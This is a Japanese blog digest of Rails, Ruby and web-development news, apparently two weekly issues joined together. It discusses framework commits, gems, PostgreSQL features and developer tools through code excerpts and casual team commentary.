# activerecord/lib/arel/visitors/to_sql.rb#L20
-     # > puts RubyVM::InstructionSequence.new('def foo; "bar"; end').disasm
-     #
-     #   == disasm: <RubyVM::InstructionSequence:foo@<compiled>>=====
-     #    0000 trace            8
-     #    0002 trace            1
-     #    0004 putstring        "bar"
-     #    0006 trace            16
-     #    0008 leave

公式の見出しで「Stop ROFL」とあるのはダブルミーニングのようです。上の動画の「101」は、いわゆる「〜入門」「〜のいろは」を表すそうです(大学の最初の授業番号が101であることが多いのが由来)。

ROFL: 床を転げ回って爆笑(rolling on the floor, laughing)🤣

ネイティブもroflscaleが何なのか首を傾げている↓みたいです。

⚓1001年3月7日以前のTime#advanceを修正

修正前:
Time.utc(1001, 3, 6).advance(years: -1) # => 1000-03-05 00:00:00 UTC
修正後:
Time.utc(1001, 3, 6).advance(years: -1) # => 1000-03-06 00:00:00 UTC

# activesupport/lib/active_support/core_ext/time/calculations.rb#L162
  def advance(options)
    unless options[:weeks].nil?
      options[:weeks], partial_weeks = options[:weeks].divmod(1)
      options[:days] = options.fetch(:days, 0) + 7 * partial_weeks
    end
    unless options[:days].nil?
      options[:days], partial_days = options[:days].divmod(1)
      options[:hours] = options.fetch(:hours, 0) + 24 * partial_days
    end

-   d = to_date.advance(options)
-   d = d.gregorian if d.julian?
+   d = to_date.gregorian.advance(options)
    time_advanced_by_date = change(year: d.year, month: d.month, day: d.day)
    seconds_to_advance = \
      options.fetch(:seconds, 0) +
      options.fetch(:minutes, 0) * 60 +
      options.fetch(:hours, 0) * 3600
    if seconds_to_advance.zero?
      time_advanced_by_date
    else
      time_advanced_by_date.since(seconds_to_advance)
    end
  end

つっつきボイス:「1001年3月7日以前のTime#advance😆」「グレゴリオ暦より前の時代の誤差みたいですね」「ははぁ」「Time.utc(1001, 3, 6).advance(years: -1)が3月5日になっていたのね」「こーゆーのはカレンダーに詳しい人にお任せしたい😆

参考: Time#advance
参考: グレゴリオ暦 - Wikipedia

⚓Railsコンソールのsandboxをオフにするオプションを追加

  • config.disable_sandboxは、コンソールをsandboxモードで起動できるようにするかどうかを制御する。sandboxコンソールを開きっぱなしにするとデータベースサーバーのメモリがなくなる可能性があるため。

つっつきボイス:「sandboxモード(rails console --sandbox)ってそんなのがあるんだ?!」「コンソールでデータベースに書き込んでも大丈夫なように、コンソールを閉じたらロールバックするモードみたいです」「コンソールセッション自体が1つのトランザクションになるモードか!」「たまに使ったことあるかも」「あ〜たしかに本番で不用意にsandboxモードで入りっぱなしにするとデータベースが落ちて死ぬかも😆」「コマンド一発でサーバー止めて嫌がらせできるヤツだ😆: たしかにそういうのはproductionで防止すべき」

⚓ビューのエラーメッセージ表示を改善

修正前:

修正後

同PRより


つっつきボイス:「これは画像で一目瞭然」「自分はこういうコミットとってもありがたいと思う🙏」「ですね〜」「エラーメッセージを見ればどうしたらいいかがわかるというのはとてもスバラシイ👍」「スタックトレースどんどん深くなりがちだし」「最近のRubyだとTracePointで追いやすくなってたりしますしね」

# actionview/lib/action_view/template/error.rb#L148
+   def message
+     <<~MESSAGE
+       Encountered a syntax error while rendering template: check #{@offending_code_string}
+     MESSAGE
+   end

参考: class TracePoint (Ruby 2.6.0)

⚓descendants trackerの参照をGCされやすくした

# activesupport/lib/active_support/descendants_tracker.rb#L68
+   class DescendantsArray # :nodoc:
+     include Enumerable
+
+     def initialize
+       @refs = []
+     end
+
+     def initialize_copy(orig)
+       @refs = @refs.dup
+     end
+
+     def <<(klass)
+       cleanup!
+       @refs << WeakRef.new(klass)
+     end
+
+     def each
+       @refs.each do |ref|
+         yield ref.__getobj__
+       rescue WeakRef::RefError
+       end
+     end
+
+     def refs_size
+       @refs.size
+     end
+
+     def cleanup!
+       @refs.delete_if { |ref| !ref.weakref_alive? }
+     end
+
+     def reject!
+       @refs.reject! do |ref|
+         yield ref.__getobj__
+       rescue WeakRef::RefError
+         true
+       end
+     end
+   end
  end

WeakRefというライブラリを初めて知りました。

参考: class WeakRef (Ruby 2.6.0)

weak reference を実現するクラスです。
WeakRef オブジェクトは与えられたオブジェクトをポイントしますが、 ポイント先のオブジェクトは GC される可能性があります。 アクセスしようとしたときにオブジェクトが GC されていれば WeakRef::RefError が発生します。
delegate も参照してください。
docs.ruby-lang.orgより

⚓Rails

⚓Active StorageとGraphQL


つっつきボイス:「でたGraphQL😆」「この中でGraphQL使ってる人っています?」「たぶんhello worldレベルぐらい😅

RailsでGraphQL APIをつくる: Part 1 – GraphQLとは何か(翻訳)

「GraphQLってどうなんだろって思うことしばしば😆」「その点yancyaさんがRailsdm 2019でも発表したSQLQL↓はとてもわかりみ: 何といっても新言語覚えなくていいし😋」「GraphQL、飛び乗っていいのかどうか皆さん様子見してる感🚢」「あくまで予感ですが、新言語作るより既存のものをsafeな何かにする方がよさげっぽい気はしますけどね」

「で記事のタイトルだけ見るとActive RecordじゃなくてActive StorageでGraphQLしてるみたいなので、抽象化とかそのあたりの話かな?」


同記事より

「こういうGraphQLクエリ↓を投げると」

// 同記事より
mutation {
  createDirectUpload(input: {
    filename: "dev.to", # file name
    contentType: "image/jpeg", # file content type
    checksum: "Z3Yzc2Q5iA5eXIgeTJn", # checksum
    byteSize: 2019 # size in bytes
  }) {
    directUpload {
      signedBlobId
    }
  }
}

「このあたり↓がメタデータを投げるところに関連してそうで、それで取ったものを使ってdirect uploadするとかそんなノリっぽい」

# 同記事より
class CreateDirectUpload < GraphQL::Schema::Mutation
  class CreateDirectUploadInput < GraphQL::Schema::InputObject
    description "File information required to prepare a direct upload"

    argument :filename, String, "Original file name", required: true
    argument :byte_size, Int, "File size (bytes)", required: true
    argument :checksum, String, "MD5 file checksum as base64", required: true
    argument :content_type, String, "File content type", required: true
  end
...

「そういえばこの記事を書いているEvil Martians↓はTechRachoでもちょくちょく翻訳記事を出していて、あといろんなgemのスポンサーをやってたりしますね」「悪い火星人👽

evilmartians.comより

TestProf: Ruby/Railsの遅いテストを診断するgem(翻訳)

関係ありませんが、Mars Attacks!(1996)で地球人に化けた火星人役のリサ・マリーの「人間以外の何か」感満載の演技が好きです↓。

参考: マーズ・アタック! - Wikipedia

⚓ActiveRecordExtended: PostgreSQL向けのAR拡張(GitHub Trendingより)

しばらく見てなかったGitHub Trendingが何だかノイズが増えてて残念です😢


つっつきボイス:「PostgreSQL専用みたいです」「ぽすぐれにしかない機能を使えるgemってことか」

「ANYなんてのが↓」「あーなるほど、文字通り『どれかに該当』みたいなのが取れるのか」「ALLはtags: 1だけのものを指すと」「このあたりはexpressionですね🧐

# 同リポジトリより
alice = User.create!(tags: [1])
bob   = User.create!(tags: [1, 2])
randy = User.create!(tags: [3])

User.where.any(tags: 1) #=> [alice, bob] 

alice = User.create!(tags: [1])
bob   = User.create!(tags: [1, 2])
randy = User.create!(tags: [3])

User.where.all(tags: 1) #=> [alice] 

「OVERRAP?」「文字通りオーバーラップを取れる」

# 同リポジトリより
alice = User.create!(tags: [1, 4])
bob   = User.create!(tags: [3, 4])
randy = User.create!(tags: [4, 8])

User.where.overlap(tags: [4]) #=> [alice, bob, randy]
User.where.overlap(tags: [1, 8]) #=> [alice, randy]
User.where.overlap(tags: [1, 3, 8]) #=> [alice, bob, randy]

inet_containなんてのが😍: こういうのを自力でやろうとすると超大変😭」「すげー、IPアドレスのマッチングできるなんて」「特にIPv6のマッチングとか自力でやりたくないし🤣」「🤣」「ぽすぐれはこういうこととかいろんなことできるから😆」「ここまで容赦なくいろんな機能使えるとは👺

# 同リポジトリより
alice = User.create!(ip: "127.0.0.1/16")
bob   = User.create!(ip: "192.168.0.1/16")

User.where.inet_contains(ip: "127.0.0.254") #=> [alice]
User.where.inet_contains(ip: "192.168.20.44") #=> [bob]
User.where.inet_contains(ip: "192.255.1.1") #=> []

参考: IPv6 - Wikipedia

「RubyにもこういうIPアドレスマッチング欲しいです」「そういうのはRDBMSでやった方が断然速いですね🧐」「★ポチっておこうっと」

⚓その他Rails


つっつきボイス:「はてブで見つけました」「そうそう、この記事は結構好き❤」「王道を行くアドバイスですね」「新人エンジニアが教わる定番の内容」「『そんな感じ』で終わるあたりがまた😆

「新人から同じ質問が何度も来たりすると、Google検索で使えるキーワードだけ貼ったりすることあるし🤓



つっつきボイス:「kamipoさんの絞り出すようなツイートです」「↑えぇ〜?!こんな挙動するってマジで😱」「ぽすぐれの謎仕様というか何というか😅」「ぽすぐれならありそうといえばありそう😅

⚓Ruby


rubykaigi.orgより

RubyKaigiも近くなってきましたね。軽く過去リンクを貼ってみました。


つっつきボイス:「外部参加の皆さんの中で今度のRubyKaigi 2019に行く人っています?」(軽く挙手)「なるほど2名」「ぜひ現地で😋: ちなみに自分は火曜日ぐらいから現地入りします😎」「あ〜そうすればよかった!: RubyKaigi始まったらもう落ち着いて飲み食いする暇ないし🍶」「気持ちの9割ぐらいは飲みに行くつもりで😆

⚓RubyのProc.newprocは使われなくなりつつある?


つっつきボイス:「最近Quoraの回答が面白くてしょうがないです🍰」「そういえば最近Proc.newとかあまり見かけなかったかも?」「自分もそのあたりがしょっちゅうわからなくなってたんですが、ある意味究極の回答↓があったので」

その後、ブロック引数(&引数)が導入されることで Proc.new の必要性が薄れ、lambda式(->)が導入されることで、lambdaprocメソッドの必要性が薄れ、それらは現在ではほとんど使われなくなっています。たぶん、将来これらのメソッドは削除されるでしょう。Rubyの歴史による変化を感じさせますね。
Quoraより

「普段意識することはほとんどないけど、たしかそれぞれ少しずつ動作が違うんですよね」「引数の個数の扱いとかそのあたりが少し違ってたと思います」

参考: 【Ruby】ブロック・Proc・lambda を理解する - Qiita

⚓Ruby VMの中はこうなっている

昨年の記事ですが。


つっつきボイス:「RubyKaigiはVMとかの内部構造の話がよく出てくるので、このあたりの記事とか『Rubyのしくみ』が予習にいいかと思って」「そうそう、RubyKaigiはこのあたりを押さえてから望まないとマジ何言ってるかわからなくなったりするし🤓

Ruby Code → Tokenize → AST → YARV Inst → Execute
Medium記事より

「ところで今日の参加者の方でこれまでRubyKaigiに参加経験ある人っていらっしゃいます?」「お、いらっしゃらないということは今回が初なんですね」「☺」「RubyKaigiのこの辺の話は普段触れる機会がなかなかない分わけわかんなくて楽しいっすよ〜🤣」「そうそう🤣」「それが楽しみ🤣

「RubyKaigiは『Rails』という言葉がめったに出てこないという特徴があってですね🤣」「🤣」「🤣」「まあRailsは他のカンファレンスがいくらでもあるので、RubyKaigではRuby本体の方にフォーカスしようとかそういうノリだと思いますが☺」「とはいえRailsの話もするときはしますけど😋

「ともあれ、RubyKaigiではRubyのVM関連の用語は軽く押さえておく方がいいでしょうね」「特に英語のセッションとかで音声で聞くときには、YARV(ヤルヴ)みたいな用語を発音でも知っておかないと焦りますね」

「一応今日のつっつき会にも『Rubyのしくみ』こと『Ruby Under Microscope』という真っ赤な本↓を持ってきました🍓」「この本読んどけばどうにかなりますね😋」「内容は少し古くてRuby 1.9とか2.0とかそのあたりなんですが、基本は変わってないはずです」

「Rubyという言語は割とVMの話をしてくれる人が多いのが特徴かもしれない」「RailsウォッチでもVMの話題はよく取り上げているので、普段から何となくでも読んでいると違うかもしれないです😋」「『よくわからないということがわかった』ぐらいにはわかるかと😆」「😆」「ではまずVMとは何かから🤣

「それか、るびま記事『YARV Maniacs』↓とかTechRachoでRVALUEが出てくる記事↓あたりをざざーっと読んでおくといいかもです」

参考: YARV Maniacs 【第 1 回】 『Ruby ソースコード完全解説』不完全解説
参考: YARV Maniacs 【第 2 回】 VM ってなんだろう — 以下12回まであります。

Rubyのヒープをビジュアル表示する(翻訳)

⚓RubyとLispといろんな言語


つっつきボイス:「そうそう、Eiffelもあった🗼」「CLUという言語も初めて見たんですが👀、リンクをたどるとMatzが『実は動かしたことはないんです』『でも影響を受けたのは本当なんです』と書いてました😆」「言語マニアの鑑(かがみ)」

参考: Eiffel - Wikipedia


ja.wikipediaより

参考: Rubyist のための他言語探訪 【第 2 回】 CLU

「ちなみに言語そのものが好きっていう方はいます?」「『7つの言語 7つの世界』↓を読んだぐらいかな〜」「お、そんな本があるんですか?!」「監訳がMatzだ」「言語に対しての考え方がいろいろあって楽しい本でした😍

「ちなみにQuoraって何でしたっけ?」「Quoraは5年ぐらい前に英語圏で爆発的に流行った、Yahoo!知恵袋的なQ&Aサイトですね😆」「わかりやすい😆」「Yahoo!知恵袋😆」「最近やっと気づいたんですが、Quoraは質問はすべて匿名で、回答者は実名かつ所属を明らかにするというルールなんですね」「そこが知恵袋との違い😆


jp.quora.comより

「Quoraが面白いのは、強いエンジニアが登録していることが多くて、何か技術的な質問をすると運がよければサービスやってる中の人とかCTOとかが答えてくれたりするところですね」「あ〜そうかも!」

「日本語版は数年前に始まったのがずっと鳴かず飛ばずだったのに、ここにきて急に人気が出てきた感ありますね☺」「Quoraだと相当初歩的な質問でもしやすい雰囲気ができつつあるみたいです」「こうやって専門家が熱心に回答するようになると盛り上がってくるんでしょうね🥰」「ちなみにQuoraはGoogleの検索にひっかからないように検索除けされてます🤖

「あとQuoraの英語版は検索機能がものすごくよくできてる」「おぉ〜」「英語版の自然言語検索はヤバいぐらいどんぴしゃりな結果出ますね: でも日本語版はどうだろう🤔」(少し試す)「うん、まだまだ😆」「😆」「お、ちょうど知人がQuoraで回答してる!: 神奈川県で一番Unicodeに詳しい人です😆」「神奈川県😆」「日本でとか東京でと言い切るのはおこがましいので、だそうです😆

⚓mapknitter:航空写真貼り付けgem(GitHub Trendingより)


つっつきボイス:「Rubyで書かれてるそうです」「まっぷにったー?」「knitは編み物のニットっぽいですね」

knit: 編む, 編み物をする、接合する

「で、どうやらいろんな人がドローンとかで撮影した航空写真を以下のサイトにみんなで貼り貼りして地図を作っちゃおうということみたいです」「バルーンとか凧とかも使ってインスタグラム的にやっちゃおうみたいな」

「自分が学生の頃にやってたセンサーネットワーク↓をちょっと思い出した: アメリカの農業とかって人間がすべて監視するのが不可能なぐらい広いから、種も農薬も飛行機で撒いたりするじゃないですか」「あ〜」「そういうアメリカン🇺🇸なプロジェクトをこのmapknitterに感じてしまうんですよね😆」「またの名を大雑把😆」「集約的農業の逆ですね」

参考: センサネットワーク - Wikipedia


ja.wikipediaより

参考: 集約農業 - Wikipedia

⚓その他Ruby


つっつきボイス:「技術書典に出すみたいです」「igaigaさん、こんだけたくさん書いてるのはやっぱすげ〜😍」「スゴいです👍

「技術書典って一度行ってみたいんですが、まだその機会がなくて😅」「技術書典、死ぬほど人が多過ぎるという話😎」「死ぬほど人が多過ぎます😇」「やっぱり〜😭」「それで諦めたことあるし」

「私のときは入場制限かかりましたよ🚫」「そんなに!」「人混みも並ぶのもキライなのでVRで参加したい🤣」「無理だけどわかる〜😆

⚓Ruby trunkより

⚓numbered parametersを考え直したい


つっつきボイス:「やっぱりnumbered parameterが😆」「やっぱり議論に😆

「これは何でしょう?」「先週のウォッチでもちょっと話題になったんですが、Ruby 2.7でeachとかのブロックの中にこうやって@1↓みたいに書けるというヤツです」「ブロック引数の名前がわからなくても参照できるみたいな」

# 同issueより
[1, 2, 3].each { |i| puts i }

# 上を以下のように書けるのがnumbered parameters

[1, 2, 3].each { puts @1 }

「詳しくはまだわかんないけどアツいことができそうな雰囲気🌋」「『だらしない書き方』という声もあるみたいです😆」「Rubyをワンライナーで書くときにはちょっと便利そうな気もするけど🤔

「さすがに@1は考え直そうよみたいな話なのかな」「え、元々itだったのか!」「ちょ😆」「thisとかself的な😆」「RubyがRSpecっぽくなりそうな予感するんですけど🤣

「さすがissueのスレがめっちゃ伸びてる!🐍」「当分動いてそうなスレですね 」

「ちなみに以下の記事もnumbered parametersについてでした」

map { @1 + @2 + @3 }みたいに書けると」「なるほど」

# 同記事より
# 現状
[1, 2, 3].each { |i| puts i }
(1..10).map { |i| i * 3 }
(1..9).each_slice(3).map { |x, y, z| x + y + z }

# Ruby 2.7
[1, 2, 3].each { puts @1 }
(1..10).map { @1 * 3 }
(1..9).each_slice(3).map { @1 + @2 + @3 }

「でもこういうの↓とか、ブロックの中でさらにブロックみたいな複雑なのになってきたらややこしそう😅」「使いこなせるかしら…😅」「自信ないっす😭

# 同記事より
h = Hash.new { |hash, key| hash[key] = "Go Fish: #{key}" }

# vs

h = Hash.new { @1[@2] = "Go Fish: #{@2}" }

「numbered parameters、もしかすると今度のRubyKaigiで大喜利のお題になったりして?」「話題には出てきそう😋

そういえば以下のyield_self↓が、前回のRubyKaigiの場で『エイリアスはthenになりました』と発表されましたね。

Ruby 2.5の`yield_self`が想像以上に何だかスゴい件について(翻訳)

⚓RubyVMをCRubyにリネームしてはどうか


つっつきボイス:「あー、MatzのRubyをどう呼ぶかか😵

「たしかに、C言語で書かれたRubyはMRIって呼ばれてましたよね」「そのはずです」「もしかすると最近はCRubyって呼ばれることが増えてたりする気がする: 気がするだけですが😆」「気にしたことなかったけど、もしかするとMatz以外にもC言語でRubyを実装した人がいるのかも?」

参考: Ruby MRI - Wikipedia — CRubyはMRIと同じもののようです
参考: CRuby以外のRuby実装について調べたよ - Qiita

「MRIは Matz’s Ruby Implementationでしたっけ」「CRubyの方がJRubyとかと対比しやすいからかしら?」「お、RubyKaigiで出てきそうなキーワードがissueにいくつかありますね↓」「JRubyとかTruffleRubyの人はよくRubyKaigiに来ますし」「TruffleRubyはめちゃ速いという話」「rbenv install -lとかやるとこの辺の実装もリストに出てきますね😆


今回は以上です。

バックナンバー(2019年度第1四半期)

週刊Railsウォッチ(20190402-2/2後編)Apache Arrowとは何か、prop drillingはアンチパターン、Node-REDほか

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやはてブやRSSなど)です。

Rails公式ニュース

Ruby Weekly

RubyFlow

160928_1638_XvIP4h

Publickey

publickey_banner_captured

GitHub Trending

160928_1701_Q9dJIU

週刊Railsウォッチ(20190409-2/2後編)Ruby 2.3系サポート終了、Thoughtbotのコーディング指南書、PostgreSQLのgenerated column、Chromebrewほか

$
0
0

こんにちは、hachi8833です。自宅でKindle for Macにダウンロードされる画像がちょくちょく欠落する病が治らず困っています😢

  • 各記事冒頭には⚓でパーマリンクを置いてあります: 社内やTwitterでの議論などにどうぞ
  • 「つっつきボイス」はRailsウォッチ公開前ドラフトを(鍋のように)社内有志でつっついたときの会話の再構成です👄
  • 毎月第一木曜日に「公開つっつき会」を開催しています: お気軽にご応募ください

今回の後編も、4/8の第9回公開つっつき会の内容を元にしています。ご参加いただいた皆さまありがとうございます!

⚓後出し臨時ニュース: Ruby 2.3系のサポートが終了(Ruby公式ニュースより)

先週の公開つっつき会で取り上げようと思っていたのが漏れていました🙇。Rubyにとって春は別れの季節ですね。

Ruby 2.3以前は今後セキュリティパッチがリリースされませんので、お早めの対応をどうぞ。

⚓クラウド/コンテナ/インフラ/Linux/Serverless

⚓faastRuby: RubyやCrystal向けのサーバーレスプラットフォーム


faastruby.ioより


つっつきボイス:「faastRubyは例のRuby on Jetsの対抗馬かな?と思って: とりあえずQiitaの記事も貼りました」「ぱっと見にはAWS Lambda上で動くサーバーレスなRubyという感じだけど、Faster than Lambdaとか書いてるし😆」「ホントに?」「Heroku並に簡単でLambdaより速いという謳い文句ということはLambdaじゃないサーバーレスということか」

「faastRubyでデプロイできて、ローカルHTTPサーバーもあって、と、pricingのあたりを見るとやはり別途サーバーが必要ということなのかな?」「あ、有料ありですか」「Self hostedプランもあったりするので、LambdaではないfaastRubyサーバーを立ててそこにデプロイするというもののようです☺」「Heroku的なサーバーレスサービスを狙ってるのかも🤔

「いま話に出てきたJetsは、Railsウォッチでも何度か取り上げたんですが、こちらはAWS Lambdaにデプロイするタイプですね」


rubyonjets.comより

⚓不揮発性メモリ(Publickeyより)


つっつきボイス:「そうそう、これも出てましたね😋: こういう↓のをDRAMのところにぶっ刺せる」「最初はもう少し小さめのヤツだった気がしますね」「この製品については今後どうなるかはまだわかりませんが😆: OSやハードウェアのサポートも必要になりそうですし」「マザボとの相性とかありそう😆

「こういうのを既にやっていそうなのは、やはりクラウドサービスのプロバイダでしょうね(GoogleとかFacebookとか): つかそういうところにこの製品を売りたいでしょうし😆」「最近はあまり追えてないけど、こういう高速デバイス周りはいろいろ論文が出ていそうな気がするので、追ってみると楽しいかも😋

⚓その他クラウド


つっつきボイス:「Goのバイナリ、そりゃ動くよね🤣」「Goがというより、バイナリもやっぱりLambdaで動かせるんだなと思って😆」「LinuxのELFバイナリなんかは普通に動くでしょうね☺

参考: Executable and Linkable Format - Wikipedia


⚓SQL

⚓PostgreSQLに「generated column」が追加(Postgres Weeklyより)

-- 同commitより整形
CREATE TABLE gloc1 (a int, b int);
ALTER TABLE gloc1 set (autovacuum_enabled = 'false');
CREATE FOREIGN TABLE grem1 (
  a int,
  b int GENERATED ALWAYS AS (a * 2) STORED)
  SERVER LOOPBACK OPTIONS(table_name 'gloc1');
INSERT INTO grem1 (a) VALUES (1), (2);
UPDATE grem1 SET a = 22 WHERE a = 2;
SELECT * FROM gloc1;
 a  | b  
----+----
  1 |  2
 22 | 44
(2 rows)

SELECT * FROM grem1;
 a  | b  
----+----
  1 |  2
 22 | 44
(2 rows)

つっつきボイス:「generated column?」「誰か分かる人います〜?」「言葉自体初めてかも😅」「あ〜そういうことか↓、なるほどなるほど」

参考: JSON型にindexも!MySQL 5.7のGenerated Columnsの可能性について探る - UUUM攻殻機動隊(エンジニアブログ)

簡単に言うと、トリガーで特定のカラムにデータを入れるのを簡単に定義する方法みたいなもので、カラム定義時にAS 計算式と書くことで、そのカラムの値が該当の計算結果になります。
この機能はMySQL 5.7.6から追加されました。日本語では「生成列」と呼ぶこともあるようです。
上記事より

-- 上記事より
mysql> CREATE TABLE triangle (
    ->   sidea DOUBLE,
    ->   sideb DOUBLE,
    ->   sidec DOUBLE AS (SQRT(sidea * sidea + sideb * sideb))
    -> );
Query OK, 0 rows affected (0.11 sec)

mysql> INSERT INTO triangle (sidea, sideb) VALUES(1,1),(3,4),(6,8);
Query OK, 3 rows affected (0.01 sec)
Records: 3  Duplicates: 0  Warnings: 0

「上のsidecみたいに、他のカラムから計算した結果をカラムの値にできるヤツ」「おぉ?」「言ってみれば、カラムで関数を定義できるような感じ」「標準SQLにあるんだっけか?」

後で調べると、Microsoft SQL Serverでは「computed column(計算列)」と呼ばれているようです。またWikipedia(英)によると、一般にはvirtual columnという名称らしく、標準SQLにはないものだそうです。

参考: 計算列のインデックス - SQL Server | Microsoft Docs
参考: Virtual column - Wikipedia

⚓JavaScript

⚓Visual Studio 2019がリリース(Publickeyより)


つっつきボイス:「おーVS2019!」「ところで、この中でVisual Studio使ってる人います?」「VSCodeなら☺」「あ、Visual StudioとVSCode(Visual Studio Code)って違うのか😅」「元C#erです😆」「しーしゃーぱー😆

参考: Microsoft Visual Studio - Wikipedia
参考: Visual Studio Code - Wikipedia

「最近だとJetBrains IDEにもReSharperなどのC#の開発環境もありますけど、C#だとやっぱりVisual Studioが強いのかなーなんて」

「VSはとりあえずMatzもうらやましがってるIntelliCodeが気になります😊」「IntelliCode、名前的にJetBrainsに挑戦してる感🤣」「あは🤣

参考: ReSharper: The Visual Studio Extension for .NET Developers by JetBrains
参考: Rider: The Cross-Platform .NET IDE from JetBrains
参考: IntelliJ IDEA: The Java IDE for Professional Developers by JetBrains

「IntelliCodeはAI使ってるらしいとか聞いてますが、コードレコメンドとかやってくれるみたい」「そのうちみんなでコピペコードが書ける時代になったりして😆」「😆

参考: IntelliCode を使ってみて戦慄した - Qiita

⚓ChromeコンソールAPIの新技集


つっつきボイス:「最近はてブで上がってましたね↓」「はい、それの元記事です」「ログを入れ子にする(グルーピング)↓とか、実はChromeコンソールでいろいろできるらしい」

参考: 【2019年4月版】Javascriptのconsoleがすごいことになってた。 - Qiita

// 同記事より(以下同文)
console.group();
console.log("Inside 1st group");
console.group();
console.log("Inside 2nd group");
console.groupEnd();
console.groupEnd();
console.log("Outer scope");

「コンソールログにCSSを当てられる↓ってそれって🤣」「変態や〜🤣

console.log("Example %cCSS-styled%c %clog!",
    "color: red; font-family: monoscope;",
    "", "color: green; font-size: large; font-weight: bold");

「WarningやErrorのスタイルにできる機能↓とかは実用性あるかも😋」「いつの間に実装されてたんだろ?」「結構前からあったかも☺」「お〜」

console.warn("This is a warning!");

console.error("This is an error!");

「assertもあるし」

console.assert(true, "This won't be logged!");
console.assert(false, "This will be logged!");

「TimingとかCountingとかは前からあった気がする」

console.timeLog(); // default: [time] ms

console.count(); // default: 1
console.count(); // default: 2
console.count(); // default: 3

「ついでに、この中でJavaScriptを業務でゴリゴリ書いているフロント系の人っています?」「ちょこちょこ触るぐらいかな〜☺」「お、じゃ結構モダンなJS環境だったりします?」「Reactとか使ってますが、まだjQuery案件多いですね😅」「やはり〜😆」「まだまだjQueryは生き続けると☺

「ES2015は使ったりします?」「今徐々に移行しつつある感じで☺」「よかった〜、みんな未来に向かって進んでるらしいことがわかって😆

⚓その他JS

⚓CSS/HTML/フロントエンド/テスト

⚓Kururu: GitHub向けテスト管理ツール


同サイトより


つっつきボイス:「社内Slackのtest板に投下されていたので」「CI回すとかではない?」「どちらかというとissueというかチケットの管理っぽいです」「チケット管理側とコード管理側を紐付けるみたいな感じかな🤔」「とりあえずGitHub専用みたいです」「unitテストとかじゃなくてintegrationテストなんかだとシナリオに沿ってやるから、こうやってチケット書いて対応するみたいなのは欲しいのかも🤔

開発者自身がテストを担当するレベルの小さなチームやプロジェクトを意識してます。 その上でテスト管理とチケット管理を連携しやすいツールを作ろうと考えました。あえてGitHubと連携を必須にしたのはこれが理由です。自分自身の経験から小さなチームであればGitHubのissueでチケット管理するのが一番楽でした。
そのため、Kururuではもしテストが失敗したら速やかにGitHubと連携できるように作りました。 もちろん、現状ではまだまだ機能が少ないので追加や改善をしていこうと考えてます。
同サイトより

⚓「令和の」令が2つ


つっつきボイス:「令和が早くも😆」「令(U+4EE4)と令(U+F9A8)の2つか〜、これはもうしょうがない😇

正しいと考えられる方:

下のCJK文字はおそらく使われない:

compart.comより

「ところで、令和ってどう発音するのが正しいんだろか?😆」「れいわ↑?」「れ↑いわ↓?」「(フラットに)れーわ?」「あれどれだろう😆

参考: 「令和」のアクセントは? 放送各社で対応分かれる (1/2) - ITmedia NEWS

一応私のオレオレRailsアプリにも令和の誤りを登録しました↓。


enno.jpより

⚓Chromebrew: Chrome OSで使えるHomebrew


同サイトより

$ crew install vim

つっつきボイス:「Chrome OSで使えるhomebrewみたい」「Chrome OSというかChromebookって使ってる人います?」「一応気にはなってます☺

参考: Google Chrome OS - Wikipedia

「Chrome OS、実は結構いいですよ〜❤: 今自分が授業やってる学校の先生が最近Chromebookのエントリーモデル使っているのを見てると、論文レビューとかに使う分にはまったく問題ない感じですね」「なるほど😍

参考: Chromebook - Wikipedia

「やったことはないんですが、Chromebookの背面の小さな蓋を開けてDIPスイッチを切り替えると、Chromebookのローカルに書き込めるようになるという噂を見かけたことあります」「それ、やりました✋」「お、どうでした?」「壊れました😇」「やっぱし🤣」「ぶっ壊れですよもう🤣」「ご愁傷様です🙏

今朝思い出したのですが、私事ながら自分の息子が今年入学した中学では2年生になると全面的にChromebookで授業やるそうです。来年あたりに危うく子どものChromebookのDIPスイッチをドヤ顔で動かして自滅するところでした😅

参考: ディップスイッチ - Wikipedia

⚓その他フロント


つっつきボイス:「とにかく動画を再生」(ぽちっ)「おおwこれは😆」「面白え〜」「しかも左上のところにスコアが表示されるあたり芸が細かい😋」「アイデアの勝利👍」「絵が描けなくてもできるし」「さすがげえむくりえいたあ」

⚓言語・ツール

⚓Playbook: Thoughtbot謹製の汎用プログラミングガイド


同リポジトリより

例:

  • ベストプラクティス
    • 一般
    • オブジェクト指向設計
    • Ruby
    • RubyGem
    • Rails
    • テスト
    • Bundler
    • RDB
    • PostgreSQL
    • Email
    • Web
    • JavaScript
    • HTML
    • CSS
    • Sass
    • ブラウザ
    • Objective-C
    • Bash
    • Haskell
    • (略)

つっつきボイス:「Thoughtbotが作った、コードはこう書けみたいな心得帳というか格言集というかガイドなんですが、カバー範囲がやけに広いのが面白いと思って」「そういえばThoughtbotって最近どんなgem作ってたかな?」「最近ちょっとおとなしめな印象ありましたね」

「Thoughtbotといえばfactory_bot、さすがに今も動いてる」

「あと何が有名だったかな〜」「DeviseはPlataformatecだから違うし」「んーと、Paperclip!」「それだ!」「Paperclipはもうサポート終了なので😇」「年季の入ったプロジェクトにはまだあるかも?😆

Paperclipからの移行ガイド↓です。

Rails: PaperclipからActiveStorageへの移行ガイド by thoughtbot(翻訳)

「Thoughtbotの有名なgemって他にもあった気がするけど、リポジトリにたくさんありすぎてわからない😅」「backbone-js-on-railsなんてのを見つけました↓」「お〜歴史⛩」「歴史だ」「一時期はBackbone.jsこそ本命みたいに言われてた時期もありましたね☺」「あっという間に消えた」「あんなに真っ逆さまに消えるとは思わかなったし」

⚓その他

⚓Desmos: 直感的な数式プロットサービス


desmos.comより

生成したグラフの埋め込みもできます↓。


つっつきボイス:「Desmosは以下のブログの方が愛用しているそうです」(サイトを開く)「おぉ、これは絵から数式を起こすこともできるヤツ?」「そうですね、どっち方向もやれますね」

「ミッキーマウスがドラえもんにモーフィングするとか」「フーリエ展開とか使って」「しかしスポンジボブ😆

参考: フーリエ級数 - Wikipedia

「ついでに以下も貼ってみました」「ほー、階乗の!記号の由来が印刷の都合で…ってホントか?🤣」「案外4/1だったりして🤣

「ってこの日付、4/1みたいですけど😆」「あー、ネタだったか〜!😇」「ネタ説濃厚😆」「引っかかった〜😆」「真っ赤な嘘😆」「ワンテンポ遅れで四月の魚になってしまいました😅

四月の魚: Poisson d’avril〈フランス語〉〔仏ではこの日は魚の紙切れを誰かの背中に黙って貼り付け、皆で笑い者にする。アイルランドも他人に紙を貼り付ける(Taily Day)。〕

⚓英語の「R」を発音しない流行があった


